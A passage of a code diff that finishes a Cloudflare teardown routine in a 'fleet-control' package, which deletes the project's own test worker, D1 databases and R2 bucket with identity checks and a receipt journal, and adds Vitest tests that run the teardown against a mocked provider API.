bootstrap.context.names; + const script = names.referenceWorker; + const bucket = bootstrap.exports.name; + const zoneId = bootstrap.context.zoneId; + // A recorded refusal is terminal for automation: it never advances into a + // deletion phase, whatever the scenario reached afterwards. + const refusing = + teardown?.phase === 'refused' || + snapshot.scenario?.phase !== 'complete' || + snapshot.scenario.failure !== null; + const confirmed = refusing + ? [] + : confirmedExportKeys(snapshot.scenario, prefix); + const session = await openDirectProviderSession({ + apiToken, + fetchRequest: (target, init) => { + providerRequests += 1; + return fetchRequest(target, init); + }, + timeoutMs: config.referenceWorker.requestTimeoutMs, + }); + transport = session.transport; + const { sdk, numbered, single, status, settled, APIError, bound } = session; + apiError = APIError; + + const observe = async () => { + const disposable = config.disposableAccount === true; + const surface = (matched, exhaustive, count) => + Object.freeze({ + prefixCount: matched.length, + prefixNames: Object.freeze( + matched + .filter(recordableName) + .slice(0, DIRECT_TEARDOWN_MAXIMA.prefixNames), + ), + globalCount: disposable ? count : null, + exhaustive, + }); + const matching = (rows, field) => + rows + .map((row) => row[field]) + .filter( + (value) => typeof value === 'string' && value.startsWith(prefix), + ); + const databaseIdentity = (row) => { + identifier(row.name); + return [identifier(row.uuid)]; + }; + const databases = await inventory( + numbered.d1.database.list({ ...selectors, name: prefix }), + databaseIdentity, + bound, + ); + const allDatabases = disposable + ? await inventory( + numbered.d1.database.list(selectors), + databaseIdentity, + bound, + ) + : []; + const namespaces = await inventory( + numbered.durableObjects.namespaces.list(selectors), + (row) => [`id:${identifier(row.id)}`], + bound, + ); + const scripts = await singlePage(single.workers.scripts.list(selectors)); + const buckets = await bucketPages({ + sdk, + selectors, + jurisdiction: 'default', + }); + const domains = await singlePage( + single.workers.domains.list({ ...selectors, zone_id: zoneId }), + ); + const routes = await singlePage( + single.workers.routes.list({ zone_id: zoneId }), + ); + let dispatch; + try { + const classified = await classifyDispatchNamespaces( + single, + selectors, + bound, + ); + dispatch = Object.freeze({ + kind: classified.kind, + count: classified.count, + status: null, + prefixCount: classified.names.filter( + (name) => typeof name === 'string' && name.startsWith(prefix), + ).length, + }); + } catch (error) { + if (!(error instanceof APIError) || providerErrorFrom(error)) + throw error; + dispatch = Object.freeze({ + kind: 'fail-closed', + count: 0, + status: error.status ?? null, + prefixCount: 0, + }); + } + let versionsGone = null; + if (receipts.worker) { + let page; + const seen = await probeAbsent( + sdk.workers.scripts.versions.list(script, selectors).then((value) => { + page = value; + return value; + }), + ); + versionsGone = + seen === 'absent' || + (Array.isArray(page?.result?.items) && + page.result.items.length === 0); + } + return { + version: 1, + surfaces: { + databases: surface( + matching(databases, 'name'), + true, + allDatabases.length, + ), + durableObjectNamespaces: surface( + matching(namespaces, 'script'), + true, + namespaces.length, + ), + scripts: surface( + matching(scripts.rows, 'id'), + scripts.exhaustive, + scripts.rows.length, + ), + buckets: surface(matching(buckets, 'name'), true, buckets.length), + domains: surface( + matching(domains.rows, 'service'), + domains.exhaustive, + domains.rows.length, + ), + routes: surface( + matching(routes.rows, 'script'), + routes.exhaustive, + routes.rows.length, + ), + }, + bucketJurisdictions: ['default'], + dispatch, + versionsGone, + settleAttempts: 1, + }; + }; + const isSettled = (observation) => + DIRECT_RESIDUAL_SURFACES.every((name) => { + const entry = observation.surfaces[name]; + return ( + entry.prefixCount === 0 && + (entry.globalCount === null || entry.globalCount === 0) + ); + }) && + observation.versionsGone !== false && + observation.dispatch.kind !== 'fail-closed' && + observation.dispatch.prefixCount === 0; + const settle = async (attempts) => { + let observation; + for (let attempt = 1; attempt <= attempts; attempt += 1) { + transport.assertBudget(); + observation = { ...(await observe()), settleAttempts: attempt }; + if (isSettled(observation) || attempt === attempts) break; + await delay(SETTLE_DELAY_MS); + } + return observation; + }; + + if (refusing) { + const failure = teardown?.failure ?? 'scenario-incomplete'; + const observation = await settle(1); + await write({ + phase: 'refused', + receipts: EMPTY_RECEIPTS, + residual: observation, + failure, + }); + refuse(failure); + } + + const settlement = (settledByReread) => + Object.freeze({ ordinal: providerRequests, settledByReread }); + const mutate = async ({ + kind, + key, + nextPhase, + prepare, + probe, + identity, + call, + receipt, + }) => { + transport.assertBudget(); + const pending = teardown?.pending ?? null; + if (pending && (pending.kind !== kind || pending.key !== key)) + refuse('invalid-state'); + if (pending) { + if ((await probe()) === 'absent') { + await write({ receipts: receipt(true) }); + return; + } + // Steps whose probe already establishes identity carry none of their own. + await identity?.(); + } + // Reads that gate the delete run outside its ambiguity window: a refusal + // here leaves nothing pending because nothing was issued. + await prepare?.(); + if (!pending) + await write({ + phase: nextPhase, + pending: key === undefined ? { kind } : { kind, key }, + }); + let settledByReread = false; + try { + await call(); + } catch (error) { + const code = teardownCode(error, apiError); + if (code === 'forbidden' || code === 'budget-exhausted') refuse(code); + settledByReread = true; + } + if ((await probe()) !== 'absent') refuse('outcome-unknown'); + await write({ receipts: receipt(settledByReread) }); + }; + + const ingressProbe = async () => { + let observed; + const seen = await probeAbsent( + sdk.workers.scripts.subdomain.get(script, selectors).then((value) => { + observed = value; + return value; + }), + ); + return seen === 'absent' || observed?.enabled === false + ? 'absent' + : 'present'; + }; + const scriptProbe = () => + probeAbsent(status.workers.scripts.get(script, selectors).asResponse()); + const databaseProbe = (uuid) => () => + probeAbsent(sdk.d1.database.get(uuid, selectors)); + const objectProbe = (key) => () => + probeAbsent( + status.r2.buckets.objects + .get(key, { + ...selectors, + bucket_name: bucket, + jurisdiction: 'default', + }) + .asResponse(), + ); + const bucketProbe = () => + probeAbsent( + sdk.r2.buckets.get(bucket, { ...selectors, jurisdiction: 'default' }), + ); + + if (!receipts.exports) { + const ceiling = Number.MAX_SAFE_INTEGER; + try { + await journal.assertTeardownCapacity({ + version: 1, + phase: 'complete', + pending: null, + receipts: { + ingress: { ordinal: ceiling, settledByReread: true }, + worker: { + scriptName: script, + secretNames: maximal(DIRECT_TEARDOWN_MAXIMA.secretNames), + ordinal: ceiling, + settledByReread: true, + }, + fleet: { + uuid: bootstrap.fleet.uuid, + ordinal: ceiling, + settledByReread: true, + }, + quota: { + uuid: bootstrap.quota.uuid, + ordinal: ceiling, + settledByReread: true, + }, + exportObjects: confirmed.map((key) => ({ + key, + ordinal: ceiling, + settledByReread: true, + })), + exports: { name: bucket, ordinal: ceiling, settledByReread: true }, + }, + residual: { + version: 1, + surfaces: Object.fromEntries( + DIRECT_RESIDUAL_SURFACES.map((name) => [ + name, + { + prefixCount: ceiling, + prefixNames: maximal(DIRECT_TEARDOWN_MAXIMA.prefixNames), + globalCount: ceiling, + exhaustive: true, + }, + ]), + ), + bucketJurisdictions: ['default'], + dispatch: { + kind: 'enumerated', + count: ceiling, + status: ceiling, + prefixCount: ceiling, + }, + versionsGone: false, + settleAttempts: DIRECT_TEARDOWN_MAXIMA.settleAttempts, + }, + providerRequests: ceiling, + failure: 'residual-present', + }); + } catch { + refuse('invalid-state'); + } + } + + if (!receipts.ingress) + await mutate({ + kind: 'disable-reference-ingress', + nextPhase: 'ingress', + probe: ingressProbe, + call: async () => { + const answer = await sdk.workers.scripts.subdomain.create( + script, + { ...selectors, enabled: false, previews_enabled: false }, + MUTATION_OPTIONS, + ); + if (answer?.enabled !== false || answer.previews_enabled !== false) + refuse('provider-unavailable'); + }, + receipt: (settledByReread) => ({ + ...receipts, + ingress: settlement(settledByReread), + }), + }); + + if (!receipts.worker) { + let secretNames = []; + await mutate({ + kind: 'delete-reference-worker', + nextPhase: 'worker', + probe: scriptProbe, + identity: async () => { + const { exactActiveVersionId } = await import( + '../src/active-route.ts' + ); + const deployments = ( + await sdk.workers.scripts.deployments.list(script, selectors) + ).deployments; + if (!Array.isArray(deployments) || deployments.length === 0) + refuse('provider-unavailable'); + let active; + try { + active = exactActiveVersionId(deployments[0], 'reference'); + } catch { + refuse('identity-mismatch'); + } + if (active !== bootstrap.active.versionId) + refuse('identity-mismatch'); + }, + prepare: async () => { + const listed = await singlePage( + single.workers.scripts.secrets.list(script, selectors), + ); + const observed = listed.rows + .map((row) => row.name) + .filter(recordableName) + .sort(); + if (!isDeepStrictEqual(observed, [...REFERENCE_SECRET_NAMES])) + refuse('identity-mismatch'); + secretNames = observed; + }, + call: () => + settled.workers.scripts.delete( + script, + { ...selectors }, + MUTATION_OPTIONS, + ), + receipt: (settledByReread) => ({ + ...receipts, + worker: { + scriptName: script, + secretNames, + ...settlement(settledByReread), + }, + }), + }); + } + + for (const [field, kind, uuid, name] of [ + ['fleet', 'delete-fleet-d1', bootstrap.fleet.uuid, names.fleetDatabase], + ['quota', 'delete-quota-d1', bootstrap.quota.uuid, names.quotaDatabase], + ]) { + if (receipts[field]) continue; + await mutate({ + kind, + nextPhase: field, + probe: databaseProbe(uuid), + identity: async () => { + const observed = await sdk.d1.database.get(uuid, selectors); + if (observed?.uuid !== uuid || observed.name !== name) + refuse('identity-mismatch'); + }, + call: () => + settled.d1.database.delete(uuid, selectors, MUTATION_OPTIONS), + receipt: (settledByReread) => ({ + ...receipts, + [field]: { uuid, ...settlement(settledByReread) }, + }), + }); + } + + if (receipts.exportObjects.length < confirmed.length) { + const listObjects = async (scoped) => + ( + await singlePage( + single.r2.buckets.objects.list(bucket, { + ...selectors, + jurisdiction: 'default', + ...(scoped ? { prefix: `${prefix}/receipts/v1/` } : {}), + }), + ) + ).rows; + const inspect = (rows) => { + for (const row of rows) + if (typeof row?.key !== 'string' || !confirmed.includes(row.key)) + refuse('unexpected-object'); + return rows; + }; + inspect(await listObjects(true)); + inspect(await listObjects(false)); + for (const key of confirmed) { + if (receipts.exportObjects.some((entry) => entry.key === key)) continue; + await mutate({ + kind: 'delete-export-object', + key, + nextPhase: 'export-objects', + probe: objectProbe(key), + call: () => + settled.r2.buckets.objects.delete( + key, + { + ...selectors, + bucket_name: bucket, + jurisdiction: 'default', + }, + MUTATION_OPTIONS, + ), + receipt: (settledByReread) => ({ + ...receipts, + exportObjects: [ + ...receipts.exportObjects, + { key, ...settlement(settledByReread) }, + ], + }), + }); + } + for (let attempt = 1; attempt <= OBJECT_SETTLE_ATTEMPTS; attempt += 1) { + transport.assertBudget(); + if (inspect(await listObjects(true)).length === 0) break; + if (attempt === OBJECT_SETTLE_ATTEMPTS) refuse('provider-unavailable'); + await delay(OBJECT_SETTLE_DELAY_MS); + } + } + + if (!receipts.exports) + await mutate({ + kind: 'delete-export-r2', + nextPhase: 'exports', + probe: bucketProbe, + identity: async () => { + const observed = await sdk.r2.buckets.get(bucket, { + ...selectors, + jurisdiction: 'default', + }); + if ( + observed?.name !== bucket || + (observed.jurisdiction !== undefined && + observed.jurisdiction !== 'default') || + typeof observed.creation_date !== 'string' || + !Number.isFinite(Date.parse(observed.creation_date)) || + new Date(observed.creation_date).toISOString() !== + bootstrap.exports.creationDate + ) + refuse('identity-mismatch'); + }, + call: () => + settled.r2.buckets.delete( + bucket, + { ...selectors, jurisdiction: 'default' }, + MUTATION_OPTIONS, + ), + receipt: (settledByReread) => ({ + ...receipts, + exports: { name: bucket, ...settlement(settledByReread) }, + }), + }); + + if (phase !== 'residual' && phase !== 'complete') + await write({ phase: 'residual' }); + const observation = await settle(DIRECT_TEARDOWN_MAXIMA.settleAttempts); + const failure = isSettled(observation) ? null : 'residual-present'; + await write({ phase: 'complete', residual: observation, failure }); + if (failure) refuse(failure); + return Object.freeze({ status: 'cleaned', facts: facts(null) }); + } catch (error) { + const exhausted = transport?.failure(); + const code = + error instanceof DirectTeardownError + ? error.code + : exhausted + ? (PROVIDER_CODES[exhausted] ?? 'provider-unavailable') + : teardownCode(error, apiError); + return Object.freeze({ + status: 'retained', + reason: code, + phase, + facts: facts(code), + }); + } finally { + transport?.close(); + } +} diff --git a/packages/fleet-control/test/direct-credentialed-run-state.test.ts b/packages/fleet-control/test/direct-credentialed-run-state.test.ts index 460936c1..ecc7c4fc 100644 --- a/packages/fleet-control/test/direct-credentialed-run-state.test.ts +++ b/packages/fleet-control/test/direct-credentialed-run-state.test.ts @@ -30,6 +30,8 @@ import { bootstrapContext, cleanupDirectRunState, closed, + completeScenario, + completeScenarioJournal, confirmedBootstrap, DIGEST, first, @@ -37,15 +39,21 @@ import { hash, journals, MAX_COUNT, + MAX_NAME, type MutableScenario, + type MutableTeardown, maximalScenario, + maximalTeardown, opened, PROCESS, present, RESUMED, receipts, + residualObservation, scenarioJournal, scenarioWith, + teardownState, + teardownWith, } from './fixtures/direct-run-state-builder.js'; vi.mock('node:fs/promises', async (importOriginal) => { @@ -1263,3 +1271,302 @@ describeLinux('durable scenario state', () => { ); }); }); + +const settlement = (ordinal = 1) => ({ ordinal, settledByReread: false }); + +function filledReceipts(state: MutableTeardown) { + state.receipts.ingress = settlement(); + state.receipts.worker = { + scriptName: 'reference', + secretNames: [], + ...settlement(), + }; + state.receipts.fleet = { uuid: 'fleet-uuid', ...settlement() }; + state.receipts.quota = { uuid: 'quota-uuid', ...settlement() }; +} + +describeLinux('durable teardown state', () => { + it('publishes teardown after scenario and leaves the earlier bytes unchanged', async () => { + const { f, journal } = await completeScenarioJournal(); + const path = join(f.runDirectory, 'journal.json'); + const before = await readFile(path, 'utf8'); + expect(before).not.toContain('teardown'); + await journal.recordTeardown(teardownState()); + const after = JSON.parse(await readFile(path, 'utf8')); + expect(Object.keys(after)).toEqual([ + 'version', + 'binding', + 'invocationCount', + 'lastInvocation', + 'bootstrap', + 'scenario', + 'teardown', + ]); + delete after.teardown; + expect(`${JSON.stringify(after)}\n`).toBe(before); + }); + + it('refuses a teardown key on a version 1 snapshot', async () => { + const { f, journal } = await completeScenarioJournal(); + await journal.recordTeardown(teardownState()); + await closed(journal); + const path = join(f.runDirectory, 'journal.json'); + const stored = JSON.parse(await readFile(path, 'utf8')); + await writeFile( + path, + JSON.stringify({ + version: 1, + binding: stored.binding, + invocationCount: stored.invocationCount, + lastInvocation: stored.lastInvocation, + teardown: stored.teardown, + }), + ); + await expect( + openDirectRunState({ ...f.input, mode: 'resume' }), + ).rejects.toMatchObject({ code: 'invalid-state' }); + }); + + it('refuses every malformed teardown shape', async () => { + const { journal } = await completeScenarioJournal(); + const cases: ((state: MutableTeardown) => unknown)[] = [ + (state) => { + (state as unknown as Record).extra = 1; + }, + (state) => { + state.phase = 'worker'; + state.receipts.worker = { + scriptName: 'reference', + secretNames: [], + ...settlement(), + }; + }, + (state) => { + state.pending = { kind: 'disable-reference-ingress' }; + state.receipts.ingress = settlement(); + }, + (state) => { + state.pending = { kind: 'disable-reference-ingress', key: 'key' }; + }, + (state) => { + state.pending = { kind: 'delete-export-object' }; + }, + (state) => { + filledReceipts(state); + state.phase = 'export-objects'; + state.pending = { kind: 'delete-export-object', key: 'first' }; + state.receipts.exportObjects = [{ key: 'first', ...settlement() }]; + }, + (state) => { + filledReceipts(state); + state.phase = 'export-objects'; + state.receipts.exportObjects = ['one', 'two', 'three'].map((key) => ({ + key, + ...settlement(), + })); + }, + (state) => { + filledReceipts(state); + state.phase = 'export-objects'; + state.receipts.exportObjects = [ + { key: 'same', ...settlement() }, + { key: 'same', ...settlement() }, + ]; + }, + (state) => { + filledReceipts(state); + state.phase = 'worker'; + state.receipts.worker = { + scriptName: `${MAX_NAME}x`, + secretNames: [], + ...settlement(), + }; + }, + (state) => { + state.residual = residualObservation(); + }, + (state) => { + state.phase = 'refused'; + }, + (state) => { + state.phase = 'refused'; + state.failure = 'scenario-incomplete'; + state.receipts.ingress = settlement(); + }, + (state) => { + state.phase = 'refused'; + state.failure = 'scenario-incomplete'; + state.pending = { kind: 'disable-reference-ingress' }; + }, + ]; + for (const [index, mutate] of cases.entries()) + await expect({ + index, + outcome: await journal.recordTeardown(teardownWith(mutate)).then( + () => 'accepted', + (error: { code?: string }) => error.code, + ), + }).toEqual({ index, outcome: 'invalid-state' }); + }); + + it('publishes a receipt while its mutation is pending and refuses every regression', async () => { + const { journal } = await completeScenarioJournal(); + await journal.recordTeardown( + teardownWith((state) => { + state.pending = { kind: 'disable-reference-ingress' }; + }), + ); + expect(journal.snapshot().teardown?.pending).toEqual({ + kind: 'disable-reference-ingress', + }); + await journal.recordTeardown( + teardownWith((state) => { + state.receipts.ingress = settlement(4); + state.providerRequests = 4; + }), + ); + await journal.recordTeardown( + teardownWith((state) => { + state.phase = 'worker'; + state.receipts.ingress = settlement(4); + state.receipts.worker = { + scriptName: 'reference', + secretNames: [], + ...settlement(6), + }; + state.providerRequests = 6; + }), + ); + const carried = (state: MutableTeardown) => { + state.phase = 'worker'; + state.receipts.ingress = settlement(4); + state.receipts.worker = { + scriptName: 'reference', + secretNames: [], + ...settlement(6), + }; + state.providerRequests = 6; + }; + for (const mutate of [ + (state: MutableTeardown) => { + carried(state); + state.phase = 'ingress'; + }, + (state: MutableTeardown) => { + carried(state); + state.phase = 'quota'; + state.receipts.fleet = { uuid: 'fleet-uuid', ...settlement(8) }; + }, + (state: MutableTeardown) => { + carried(state); + state.receipts.ingress = settlement(5); + }, + (state: MutableTeardown) => { + carried(state); + state.providerRequests = 5; + }, + (state: MutableTeardown) => { + carried(state); + state.receipts.worker = null; + }, + ]) + await expect( + journal.recordTeardown(teardownWith(mutate)), + ).rejects.toMatchObject({ code: 'invalid-state' }); + }); + + it('keeps a refused teardown terminal and rewritable in place', async () => { + const { journal } = await completeScenarioJournal(); + const refused = (attempts: number) => + teardownWith((state) => { + state.phase = 'refused'; + state.failure = 'scenario-incomplete'; + state.residual = { + ...residualObservation(), + settleAttempts: attempts, + }; + state.providerRequests = attempts; + }); + await journal.recordTeardown(refused(1)); + await journal.recordTeardown(refused(2)); + expect(journal.snapshot().teardown?.residual?.settleAttempts).toBe(2); + await expect( + journal.recordTeardown( + teardownWith((state) => { + state.pending = { kind: 'disable-reference-ingress' }; + state.providerRequests = 2; + }), + ), + ).rejects.toMatchObject({ code: 'invalid-state' }); + }); + + it('accepts the worst-case teardown inside the byte bound and refuses an undecodable one without poisoning', async () => { + const { f, journal } = await completeScenarioJournal(); + await journal.assertTeardownCapacity(maximalTeardown()); + expect(journal.snapshot().teardown).toBeUndefined(); + await expect( + journal.assertTeardownCapacity( + teardownWith((state) => { + Object.assign(state, maximalTeardown()); + const worker = present(state.receipts.worker); + worker.scriptName = `${MAX_NAME}x`; + }), + ), + ).rejects.toMatchObject({ code: 'invalid-state' }); + await journal.recordTeardown(maximalTeardown()); + const serialized = await readFile( + join(f.runDirectory, 'journal.json'), + 'utf8', + ); + expect( + DIRECT_RUN_MAX_JOURNAL_BYTES - Buffer.byteLength(serialized), + ).toBeGreaterThan(100_000); + }); + + it('refuses scenario and invocation writes once a teardown is pending or receipted', async () => { + const { f, journal } = await completeScenarioJournal(); + await journal.recordTeardown( + teardownWith((state) => { + state.pending = { kind: 'disable-reference-ingress' }; + }), + ); + for (const call of [ + () => journal.recordScenario(completeScenario()), + () => journal.reserveInvocation(f.request()), + () => journal.bindBootstrapContext(bootstrapContext(f)), + () => journal.beginBootstrapMutation('create-fleet-d1'), + () => + journal.recordBootstrapObservation({ + kind: 'active', + deploymentId: 'deployment', + versionId: 'version', + }), + ]) + await expect(call()).rejects.toMatchObject({ code: 'outcome-unknown' }); + await journal.recordTeardown( + teardownWith((state) => { + state.receipts.ingress = settlement(); + }), + ); + await expect( + journal.recordScenario(completeScenario()), + ).rejects.toMatchObject({ code: 'invalid-state' }); + await expect(journal.reserveInvocation(f.request())).rejects.toMatchObject({ + code: 'invalid-state', + }); + }); + + it('resumes a run whose teardown mutation is still pending', async () => { + const { f, journal } = await completeScenarioJournal(); + await journal.recordTeardown( + teardownWith((state) => { + state.pending = { kind: 'disable-reference-ingress' }; + }), + ); + await closed(journal); + const resumed = await opened({ ...f.input, mode: 'resume' }); + expect(resumed.snapshot().teardown?.pending).toEqual({ + kind: 'disable-reference-ingress', + }); + }); +}); diff --git a/packages/fleet-control/test/direct-credentialed-teardown.test.ts b/packages/fleet-control/test/direct-credentialed-teardown.test.ts new file mode 100644 index 00000000..79836464 --- /dev/null +++ b/packages/fleet-control/test/direct-credentialed-teardown.test.ts @@ -0,0 +1,847 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { readFile } from 'node:fs/promises'; +import { join } from 'node:path'; +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; +import { DirectProviderError } from '../scripts/direct-credentialed-provider.mjs'; +import type { DirectRunJournal } from '../scripts/direct-credentialed-run-state.mjs'; +import type { DirectTeardownOutcome } from '../scripts/direct-credentialed-teardown.mjs'; +import { teardownDirectReference } from '../scripts/direct-credentialed-teardown.mjs'; +import { + bootstrapContext, + cleanupDirectRunState, + completeScenario, + completeScenarioJournal, + exportKey, + fixture, + opened, + present, + scenarioJournal, +} from './fixtures/direct-run-state-builder.js'; + +const API_TOKEN = 'teardown/provider-token+sentinel=='; +const ACCOUNT = 'account'; +const ROOT = `/client/v4/accounts/${ACCOUNT}`; +const ROUTES = '/client/v4/zones/zone/workers/routes'; +const SECRET_NAMES = [ + 'CLOUDFLARE_API_TOKEN', + 'DIRECT_DEPLOYMENT_SECRETS', + 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET', +]; +const unexpectedRequests: string[] = []; + +type Hook = ( + request: Request, + url: URL, +) => Promise | Response | undefined; +type Row = Record; + +const json = (result: unknown, result_info?: unknown) => + Response.json({ + success: true, + errors: [], + result, + ...(result_info === undefined ? {} : { result_info }), + }); +const absent = (status = 404) => + Response.json( + { success: false, errors: [{ code: 10000, message: 'synthetic absence' }] }, + { status }, + ); +const forbid = () => absent(403); +const paged = (url: URL, rows: Row[]) => + json(url.searchParams.has('page') ? [] : rows); +const never = () => + vi.fn(() => { + unexpectedRequests.push('provider call on a refused precondition'); + throw new Error('teardown must not call the provider'); + }); + +function retained(outcome: DirectTeardownOutcome) { + if (outcome.status !== 'retained') + throw new Error(`expected a retained outcome, saw ${outcome.status}`); + return outcome; +} + +async function diskState(journal: DirectRunJournal) { + return JSON.parse( + await readFile(join(journal.directory, 'journal.json'), 'utf8'), + ) as { teardown?: Record }; +} + +async function world( + options: { + limit?: number; + disposableAccount?: boolean; + complete?: boolean; + } = {}, +) { + const limit = options.limit ?? 8; + const disposable = options.disposableAccount ?? true; + const { f, journal } = + options.complete === false + ? await scenarioJournal(limit, disposable) + : await completeScenarioJournal(limit, disposable); + const names = f.prepared.names; + const prefix = f.prepared.config.resourcePrefix; + const script = `${ROOT}/workers/scripts/${names.referenceWorker}`; + const bucketPath = `${ROOT}/r2/buckets/${names.exportBucket}`; + const keys = [exportKey(prefix, 'a'), exportKey(prefix, 'b')]; + const state = { + ingress: true, + scriptPresent: true, + bucketPresent: true, + secretNames: [...SECRET_NAMES], + versions: [{ id: 'version' }] as Row[], + databases: new Map([ + ['fleet-uuid', { uuid: 'fleet-uuid', name: names.fleetDatabase }], + ['quota-uuid', { uuid: 'quota-uuid', name: names.quotaDatabase }], + ]), + objects: new Set(keys), + extraDatabases: [] as Row[], + extraBuckets: [] as Row[], + namespaces: [] as Row[], + scripts: [] as Row[], + domains: [] as Row[], + routes: [] as Row[], + dispatch: [] as Row[], + }; + let hook: Hook | undefined; + const requests: string[] = []; + const residualDatabases = (): Row[] => [ + ...state.databases.values(), + ...state.extraDatabases, + ]; + const residualBuckets = (): Row[] => [ + ...(state.bucketPresent ? [{ name: names.exportBucket }] : []), + ...state.extraBuckets, + ]; + const residualScripts = (): Row[] => [ + ...(state.scriptPresent ? [{ id: names.referenceWorker }] : []), + ...state.scripts, + ]; + const fetchRequest = vi.fn(async (input, init) => { + const request = new Request(input, init); + const url = new URL(request.url); + const path = decodeURIComponent(url.pathname); + requests.push(`${request.method} ${path}`); + if (url.origin !== 'https://api.cloudflare.com') { + unexpectedRequests.push('unexpected origin'); + throw new Error('Unexpected synthetic origin'); + } + expect(request.headers.get('authorization')).toBe(`Bearer ${API_TOKEN}`); + const intercepted = await hook?.(request, url); + if (intercepted) return intercepted; + if (request.method === 'GET') { + if (path === `${script}/subdomain`) + return json({ enabled: state.ingress, previews_enabled: false }); + if (path === `${script}/secrets`) + return json(state.secretNames.map((name) => ({ name }))); + if (path === `${script}/deployments`) + return json({ + deployments: [ + { + id: 'deployment', + strategy: 'percentage', + versions: [{ version_id: 'version', percentage: 100 }], + }, + ], + }); + if (path === `${script}/versions`) + return state.scriptPresent ? json({ items: state.versions }) : absent(); + if (path === script) + return state.scriptPresent + ? new Response('synthetic worker bytes', { + headers: { 'Content-Type': 'application/javascript' }, + }) + : absent(); + if (path === `${ROOT}/workers/scripts`) return json(residualScripts()); + if (path.startsWith(`${ROOT}/d1/database/`)) { + const row = state.databases.get( + path.slice(`${ROOT}/d1/database/`.length), + ); + return row ? json(row) : absent(); + } + if (path === `${ROOT}/d1/database`) { + const name = url.searchParams.get('name'); + return paged( + url, + residualDatabases().filter( + (row) => + name === null || + (typeof row.name === 'string' && row.name.includes(name)), + ), + ); + } + if (path === `${ROOT}/workers/durable_objects/namespaces`) + return paged(url, state.namespaces); + if (path === `${ROOT}/r2/buckets`) { + const after = url.searchParams.get('start_after'); + return json({ + buckets: residualBuckets().filter( + (row) => + after === null || + (typeof row.name === 'string' && row.name > after), + ), + }); + } + if (path === `${bucketPath}/objects`) { + const scoped = url.searchParams.get('prefix'); + return json( + [...state.objects] + .filter((key) => scoped === null || key.startsWith(scoped)) + .map((key) => ({ key })), + ); + } + if (path.startsWith(`${bucketPath}/objects/`)) + return state.objects.has(path.slice(`${bucketPath}/objects/`.length)) + ? new Response('synthetic export bytes') + : absent(); + if (path === bucketPath) + return state.bucketPresent + ? json({ + name: names.exportBucket, + creation_date: '2026-09-10T00:00:00.000Z', + }) + : absent(); + if (path === `${ROOT}/workers/domains`) return json(state.domains); + if (path === ROUTES) return json(state.routes); + if (path === `${ROOT}/workers/dispatch/namespaces`) + return json(state.dispatch); + } + if (request.method === 'POST' && path === `${script}/subdomain`) { + expect(await request.json()).toEqual({ + enabled: false, + previews_enabled: false, + }); + state.ingress = false; + return json({ enabled: false, previews_enabled: false }); + } + if (request.method === 'DELETE') { + if (path === script) { + state.scriptPresent = false; + return json(null); + } + if (path.startsWith(`${ROOT}/d1/database/`)) { + state.databases.delete(path.slice(`${ROOT}/d1/database/`.length)); + return json(null); + } + if (path.startsWith(`${bucketPath}/objects/`)) { + state.objects.delete(path.slice(`${bucketPath}/objects/`.length)); + return json({}); + } + if (path === bucketPath) { + state.bucketPresent = false; + return json({}); + } + } + unexpectedRequests.push(`${request.method} ${path}`); + throw new Error(`Unexpected synthetic request: ${request.method} ${path}`); + }); + return { + f, + names, + prefix, + script, + bucketPath, + keyA: present(keys[0]), + keyB: present(keys[1]), + state, + requests, + journal, + setHook(value: Hook | undefined) { + hook = value; + }, + run() { + return teardownDirectReference({ + prepared: f.prepared, + journal, + apiToken: API_TOKEN, + fetch: fetchRequest, + delay: async () => {}, + }); + }, + }; +} + +beforeEach(() => { + vi.stubGlobal( + 'fetch', + vi.fn(() => { + unexpectedRequests.push('global fetch'); + throw new Error('Unexpected global network'); + }), + ); +}); + +afterEach(async () => { + vi.restoreAllMocks(); + vi.unstubAllEnvs(); + vi.unstubAllGlobals(); + await cleanupDirectRunState(); + expect(unexpectedRequests.splice(0)).toEqual([]); +}); + +const describeLinux = + process.platform === 'linux' ? describe.sequential : describe.skip; + +describeLinux('direct reference teardown', () => { + it('deletes every receipt in order and proves a zero residual', async () => { + const w = await world(); + const outcome = await w.run(); + expect(outcome.status).toBe('cleaned'); + expect(w.requests).toEqual([ + `POST ${w.script}/subdomain`, + `GET ${w.script}/subdomain`, + `GET ${w.script}/secrets`, + `DELETE ${w.script}`, + `GET ${w.script}`, + `DELETE ${ROOT}/d1/database/fleet-uuid`, + `GET ${ROOT}/d1/database/fleet-uuid`, + `DELETE ${ROOT}/d1/database/quota-uuid`, + `GET ${ROOT}/d1/database/quota-uuid`, + `GET ${w.bucketPath}/objects`, + `GET ${w.bucketPath}/objects`, + `DELETE ${w.bucketPath}/objects/${w.keyA}`, + `GET ${w.bucketPath}/objects/${w.keyA}`, + `DELETE ${w.bucketPath}/objects/${w.keyB}`, + `GET ${w.bucketPath}/objects/${w.keyB}`, + `GET ${w.bucketPath}/objects`, + `DELETE ${w.bucketPath}`, + `GET ${w.bucketPath}`, + `GET ${ROOT}/d1/database`, + `GET ${ROOT}/d1/database`, + `GET ${ROOT}/workers/durable_objects/namespaces`, + `GET ${ROOT}/workers/scripts`, + `GET ${ROOT}/r2/buckets`, + `GET ${ROOT}/workers/domains`, + `GET ${ROUTES}`, + `GET ${ROOT}/workers/dispatch/namespaces`, + `GET ${w.script}/versions`, + ]); + expect(outcome.facts.receipts).toMatchObject({ + ingress: { ordinal: 2, settledByReread: false }, + worker: { + scriptName: w.names.referenceWorker, + secretNames: SECRET_NAMES, + ordinal: 5, + settledByReread: false, + }, + fleet: { uuid: 'fleet-uuid', ordinal: 7, settledByReread: false }, + quota: { uuid: 'quota-uuid', ordinal: 9, settledByReread: false }, + exports: { + name: w.names.exportBucket, + ordinal: 18, + settledByReread: false, + }, + }); + expect(outcome.facts.receipts.exportObjects).toEqual([ + { key: w.keyA, ordinal: 13, settledByReread: false }, + { key: w.keyB, ordinal: 15, settledByReread: false }, + ]); + expect(outcome.facts.retainedIdentities).toEqual({ + fleetUuid: null, + quotaUuid: null, + exportBucket: null, + scriptName: null, + activeVersionId: null, + }); + const residual = present(outcome.facts.residual); + expect(residual).toMatchObject({ + version: 1, + bucketJurisdictions: ['default'], + dispatch: { kind: 'empty', count: 0, status: null, prefixCount: 0 }, + versionsGone: true, + settleAttempts: 1, + }); + for (const surface of Object.values(residual.surfaces)) + expect(surface).toMatchObject({ + prefixCount: 0, + prefixNames: [], + globalCount: 0, + }); + expect(outcome.facts.providerRequests).toBe(w.requests.length); + expect((await diskState(w.journal)).teardown).toMatchObject({ + phase: 'complete', + pending: null, + failure: null, + }); + }); + + 